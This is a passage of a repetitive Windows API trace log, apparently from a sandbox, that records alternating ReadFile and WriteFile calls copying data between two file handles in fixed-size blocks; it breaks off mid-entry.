[0196.234] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.235] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.236] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.237] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.238] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.238] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.240] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.257] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.258] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.259] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.260] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.262] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.263] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.266] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.266] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.267] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.268] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.268] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.270] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.272] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.273] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.274] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.275] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.276] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.277] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.278] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.279] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.280] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.281] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.281] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.282] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.284] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.285] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.286] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.334] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.530] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.534] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.535] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.535] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.537] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.537] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.537] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.538] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.539] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.539] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.540] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.541] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.542] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.543] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.544] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.545] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.546] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.546] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.547] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.548] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.549] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.549] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.550] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.552] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.553] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.554] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.555] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.556] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.557] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.558] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.558] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.560] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.644] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.646] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.648] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.649] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.650] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.652] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.664] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.664] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.665] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.674] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.674] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.675] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.676] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.676] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.677] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.708] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.711] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.712] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.712] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.713] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.715] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.716] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.716] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.717] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.718] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.718] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.719] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.756] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.758] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.759] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.759] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.760] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, 